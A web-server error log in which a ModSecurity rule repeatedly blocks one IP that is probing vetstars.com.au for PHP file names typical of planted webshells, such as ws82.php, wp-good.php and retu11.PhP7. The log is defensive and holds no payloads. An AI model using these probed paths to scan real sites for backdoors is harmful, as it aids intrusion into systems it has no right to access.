[Sat Apr 25 01:12:14.658414 2026] [:error] [pid 42852:tid 42865] [client 51.107.77.218:5592] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeukbjMEwxhhak_EhMKNyAAAAko"]
[Sat Apr 25 01:12:16.314167 2026] [:error] [pid 42852:tid 42870] [client 51.107.77.218:64205] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeukcDMEwxhhak_EhMKNzgAAAk8"]
[Sat Apr 25 01:12:17.464997 2026] [:error] [pid 42852:tid 42868] [client 51.107.77.218:64742] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeukcTMEwxhhak_EhMKN1QAAAk0"]
[Sat Apr 25 01:12:18.640348 2026] [:error] [pid 14989:tid 15000] [client 51.107.77.218:5574] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeukcnhRYjsAsZTO4EOTPQAAAAk"]
[Sat Apr 25 01:12:20.283060 2026] [:error] [pid 42755:tid 42768] [client 51.107.77.218:5395] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeukdNH7__k0j6aa600CBgAAAIs"]
[Sat Apr 25 01:12:21.928332 2026] [:error] [pid 42755:tid 42780] [client 51.107.77.218:65190] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeukddH7__k0j6aa600CCwAAAJc"]
[Sat Apr 25 01:12:23.438202 2026] [:error] [pid 42755:tid 42761] [client 51.107.77.218:5625] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeukd9H7__k0j6aa600CEAAAAIQ"]
[Sat Apr 25 01:12:24.422494 2026] [:error] [pid 42791:tid 42814] [client 51.107.77.218:5439] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeukeLKmN9doraCEWKXpZAAAAdM"]
[Sat Apr 25 01:12:25.368100 2026] [:error] [pid 14989:tid 15009] [client 51.107.77.218:5462] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeukeXhRYjsAsZTO4EOTXAAAABI"]
[Sat Apr 25 01:12:26.231992 2026] [:error] [pid 14989:tid 15001] [client 51.107.77.218:5382] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeukenhRYjsAsZTO4EOTZQAAAAo"]
[Sat Apr 25 01:12:26.852910 2026] [:error] [pid 14989:tid 15015] [client 51.107.77.218:60639] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeukenhRYjsAsZTO4EOTaAAAABg"]
[Sat Apr 25 01:12:27.559147 2026] [:error] [pid 42852:tid 42871] [client 51.107.77.218:5384] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeukezMEwxhhak_EhMKN5wAAAlA"]
[Sat Apr 25 01:12:28.741909 2026] [:error] [pid 42792:tid 42828] [client 51.107.77.218:65212] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeukfNNi9qR4GtafpfHWzwAAAgY"]
[Sat Apr 25 01:12:29.770052 2026] [:error] [pid 42852:tid 42857] [client 51.107.77.218:5459] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeukfTMEwxhhak_EhMKN8gAAAkI"]
[Sat Apr 25 01:12:30.330057 2026] [:error] [pid 14989:tid 14998] [client 51.107.77.218:64156] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeukfnhRYjsAsZTO4EOTcAAAAAc"]
[Sat Apr 25 01:12:31.273672 2026] [:error] [pid 42852:tid 42864] [client 51.107.77.218:5456] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeukfzMEwxhhak_EhMKN9AAAAkk"]
[Sat Apr 25 01:12:32.030648 2026] [:error] [pid 14989:tid 14995] [client 51.107.77.218:65211] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeukgHhRYjsAsZTO4EOTdAAAAAQ"]
[Sat Apr 25 01:12:33.126426 2026] [:error] [pid 14989:tid 15013] [client 51.107.77.218:63619] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeukgXhRYjsAsZTO4EOTdwAAABY"]
[Sat Apr 25 01:12:34.269440 2026] [:error] [pid 42852:tid 42858] [client 51.107.77.218:47490] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeukgjMEwxhhak_EhMKN-wAAAkM"]
[Sat Apr 25 01:12:35.753606 2026] [:error] [pid 42792:tid 42831] [client 51.107.77.218:63642] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeukg9Ni9qR4GtafpfHW2wAAAgk"]
[Sat Apr 25 01:12:36.528195 2026] [:error] [pid 42755:tid 42778] [client 51.107.77.218:65197] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeukhNH7__k0j6aa600CHAAAAJU"]
[Sat Apr 25 01:12:37.217194 2026] [:error] [pid 42755:tid 42758] [client 51.107.77.218:65161] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeukhdH7__k0j6aa600CHwAAAIE"]
[Sat Apr 25 01:12:38.301777 2026] [:error] [pid 42792:tid 42844] [client 51.107.77.218:47534] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeukhtNi9qR4GtafpfHW3wAAAhY"]
[Sat Apr 25 01:12:39.204068 2026] [:error] [pid 42791:tid 42795] [client 51.107.77.218:64753] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeukh7KmN9doraCEWKXpdAAAAcA"]
[Sat Apr 25 01:12:39.924334 2026] [:error] [pid 42792:tid 42824] [client 51.107.77.218:63647] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeukh9Ni9qR4GtafpfHW4wAAAgI"]
[Sat Apr 25 01:12:41.249560 2026] [:error] [pid 42792:tid 42831] [client 51.107.77.218:65184] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeukidNi9qR4GtafpfHW6QAAAgk"]
[Sat Apr 25 01:12:42.013754 2026] [:error] [pid 42755:tid 42763] [client 51.107.77.218:63670] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeukitH7__k0j6aa600CKQAAAIY"]
[Sat Apr 25 01:12:43.552380 2026] [:error] [pid 42791:tid 42808] [client 51.107.77.218:65187] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeuki7KmN9doraCEWKXpegAAAc0"]
[Sat Apr 25 01:12:44.638627 2026] [:error] [pid 14989:tid 15002] [client 51.107.77.218:5585] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeukjHhRYjsAsZTO4EOTjAAAAAs"]
[Sat Apr 25 01:12:45.495994 2026] [:error] [pid 42852:tid 42869] [client 51.107.77.218:64735] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeukjTMEwxhhak_EhMKODQAAAk4"]
[Sat Apr 25 01:12:46.450696 2026] [:error] [pid 42852:tid 42876] [client 51.107.77.218:64714] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeukjjMEwxhhak_EhMKODwAAAlU"]
[Sat Apr 25 01:12:47.058915 2026] [:error] [pid 14989:tid 14994] [client 51.107.77.218:60615] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeukj3hRYjsAsZTO4EOTjgAAAAM"]
[Sat Apr 25 01:12:47.982979 2026] [:error] [pid 42852:tid 42875] [client 51.107.77.218:64764] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeukjzMEwxhhak_EhMKOEAAAAlQ"]
[Sat Apr 25 01:12:49.068799 2026] [:error] [pid 42792:tid 42845] [client 51.107.77.218:65242] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeukkdNi9qR4GtafpfHW9gAAAhc"]
[Sat Apr 25 01:12:50.700596 2026] [:error] [pid 14989:tid 15004] [client 51.107.77.218:5403] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeukknhRYjsAsZTO4EOTngAAAA0"]
[Sat Apr 25 01:12:51.563363 2026] [:error] [pid 14989:tid 15007] [client 51.107.77.218:5415] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeukk3hRYjsAsZTO4EOTogAAABA"]
[Sat Apr 25 01:12:52.810247 2026] [:error] [pid 42791:tid 42795] [client 51.107.77.218:47508] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeuklLKmN9doraCEWKXphwAAAcA"]
[Sat Apr 25 01:12:53.471441 2026] [:error] [pid 42755:tid 42776] [client 51.107.77.218:64751] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeukldH7__k0j6aa600CMwAAAJM"]
[Sat Apr 25 01:12:55.183536 2026] [:error] [pid 14989:tid 15013] [client 51.107.77.218:64230] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeukl3hRYjsAsZTO4EOTqgAAABY"]
[Sat Apr 25 01:12:57.021955 2026] [:error] [pid 14989:tid 15005] [client 51.107.77.218:5584] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeukmXhRYjsAsZTO4EOTrwAAAA4"]
[Sat Apr 25 01:12:57.936205 2026] [:error] [pid 42852:tid 42856] [client 51.107.77.218:5392] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeukmTMEwxhhak_EhMKOEwAAAkE"]
[Sat Apr 25 01:12:59.441595 2026] [:error] [pid 42791:tid 42817] [client 51.107.77.218:61211] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeukm7KmN9doraCEWKXpiwAAAdY"]
[Sat Apr 25 01:13:00.292052 2026] [:error] [pid 42792:tid 42839] [client 51.107.77.218:64158] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeuknNNi9qR4GtafpfHXEQAAAhE"]
[Sat Apr 25 01:13:02.031704 2026] [:error] [pid 42852:tid 42858] [client 51.107.77.218:64752] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeuknjMEwxhhak_EhMKOIgAAAkM"]
[Sat Apr 25 01:13:03.966569 2026] [:error] [pid 14989:tid 14994] [client 51.107.77.218:5582] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeukn3hRYjsAsZTO4EOTzAAAAAM"]
[Sat Apr 25 01:13:05.179521 2026] [:error] [pid 14989:tid 15012] [client 51.107.77.218:64731] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeukoXhRYjsAsZTO4EOT1wAAABU"]
[Sat Apr 25 01:13:06.313443 2026] [:error] [pid 42852:tid 42873] [client 51.107.77.218:5501] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeukojMEwxhhak_EhMKOJwAAAlI"]
[Sat Apr 25 01:13:08.091322 2026] [:error] [pid 42852:tid 42875] [client 51.107.77.218:5411] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeukpDMEwxhhak_EhMKOLQAAAlQ"]
[Sat Apr 25 01:13:09.165431 2026] [:error] [pid 14989:tid 14993] [client 51.107.77.218:5417] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeukpXhRYjsAsZTO4EOT7wAAAAI"]
[Sat Apr 25 01:13:09.963286 2026] [:error] [pid 42852:tid 42877] [client 51.107.77.218:5487] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeukpTMEwxhhak_EhMKONAAAAlY"]
[Sat Apr 25 01:13:36.130081 2026] [:error] [pid 42852:tid 42866] [client 51.107.77.218:5455] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeukwDMEwxhhak_EhMKOaAAAAks"]
[Sat Apr 25 01:13:37.652610 2026] [:error] [pid 42791:tid 42798] [client 51.107.77.218:64229] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeukwbKmN9doraCEWKXpxgAAAcM"]
[Sat Apr 25 01:13:38.559785 2026] [:error] [pid 42852:tid 42873] [client 51.107.77.218:65239] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeukwjMEwxhhak_EhMKObwAAAlI"]
[Sat Apr 25 01:13:39.758893 2026] [:error] [pid 42852:tid 42869] [client 51.107.77.218:64726] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeukwzMEwxhhak_EhMKOdAAAAk4"]
[Sat Apr 25 01:13:40.778761 2026] [:error] [pid 42791:tid 42814] [client 51.107.77.218:64763] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeukxLKmN9doraCEWKXp0QAAAdM"]
[Sat Apr 25 01:13:42.420130 2026] [:error] [pid 14989:tid 14994] [client 51.107.77.218:64721] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeukxnhRYjsAsZTO4EOULwAAAAM"]
[Sat Apr 25 01:13:43.714029 2026] [:error] [pid 42852:tid 42855] [client 51.107.77.218:65164] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeukxzMEwxhhak_EhMKOfQAAAkA"]
